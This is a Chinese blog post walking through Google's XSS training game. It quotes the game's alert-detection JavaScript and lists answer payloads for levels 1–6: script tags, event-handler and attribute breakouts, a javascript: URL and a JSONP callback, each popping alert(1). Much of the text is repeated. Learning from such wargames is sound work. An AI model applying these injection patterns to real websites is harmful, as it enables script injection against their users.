有意思的游戏:Google XSS Game
2014-05-31 17:34
399 查看
Google最近出了一个XSS的游戏:
https://xss-game.appspot.com/
我这个菜鸟看提示,花了两三个小时才全过了。。
这个游戏的规则是只要在攻击网页上弹出alert窗口就可以了。
题目页面是在iframe里嵌套的展现的,那么父窗口是如何知道iframe里成功弹出了窗口?
是这样子实现的:
题目页面加载了这个js,改写了alert函数,当alert被调用时,向parent发送一个消息。
https://xss-game.appspot.com/static/game-frame.js
https://xss-game.appspot.com/static/game.js
最下面是题目的答案。如果想自己玩游戏的,慎拉下。
题目的答案:
Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">
Level3:
https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">
Level4:
3');alert('1
Level5:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Level6:
重点是前面要有一个空格。
https://www.google.com/jsapi?callback=alert
游戏过关之后,google给出了一个xss的文档:
https://www.google.com/about/appsecurity/learning/xss/index.html
https://xss-game.appspot.com/
我这个菜鸟看提示,花了两三个小时才全过了。。
这个游戏的规则是只要在攻击网页上弹出alert窗口就可以了。
题目页面是在iframe里嵌套的展现的,那么父窗口是如何知道iframe里成功弹出了窗口?
是这样子实现的:
题目页面加载了这个js,改写了alert函数,当alert被调用时,向parent发送一个消息。
https://xss-game.appspot.com/static/game-frame.js
/* If we're being iframed, let the parent know our URL */ /* Kids: don't do this at home! */ parent.postMessage(window.location.toString(), "*"); /* Override window.alert */ var originalAlert = window.alert; window.alert = function(s) { parent.postMessage("success", "*"); setTimeout(function() { originalAlert("Congratulations, you executed an alert:\n\n" + s + "\n\nYou can now advance to the next level."); }, 50); }然后父窗口注册了一个EventListener来接收这个消息:
https://xss-game.appspot.com/static/game.js
window.addEventListener("message", function(event) { if (!window.location.origin) { window.location.origin = window.location.protocol + "//" + window.location.hostname + (window.location.port ? ':' + window.location.port: ''); } if (event.origin == window.location.origin && event.data == "success") { userOpenedAlert = true; levelSolved(); return; }
最下面是题目的答案。如果想自己玩游戏的,慎拉下。
题目的答案:
Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">
Level3:
https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">
Level4:
3');alert('1
Level5:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Level6:
重点是前面要有一个空格。
https://www.google.com/jsapi?callback=alert
游戏过关之后,google给出了一个xss的文档:
https://www.google.com/about/appsecurity/learning/xss/index.html
相关文章推荐
- 有趣的游戏:Google XSS Game
- Google的XSS游戏
- google的xss游戏,过时,蛋疼自己记录
- 基于cocos2dx,在android的游戏中加入google play game排行榜。
- Google XSS game writeup
- Google XSS Game Level 01-06
- Google最新XSS Game Writeup
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(四十四)制作主角属性面板及加点器
- LeetCode Jump Game II 前跳游戏II
- Torque产业式经营导致游戏开发供应链的形成(Torque is a Industry, Not just a game engine)
- Unity3D 入门 游戏开发 Unity3D portal game development
- 九度OJ 1145:Candy Sharing Game(分享蜡烛游戏) (模拟)
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(四十七)远距离单体攻击与单体魔法
- Game Engine Architecture阅读 1.2 - 1.4 游戏、游戏引擎及其分类
- GOOGLE VR SDK开发VR游戏
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(三十二) 雷、混、冰、毒、火、风 - 幻化中的魔法魅力!
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(五十) 终章!新的曙光!
- 【leetcode】Jump Game I, II 跳跃游戏一和二
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial):(四十一)制作精美的Mini地图①
- 游戏设计流程(Game Design Workshop)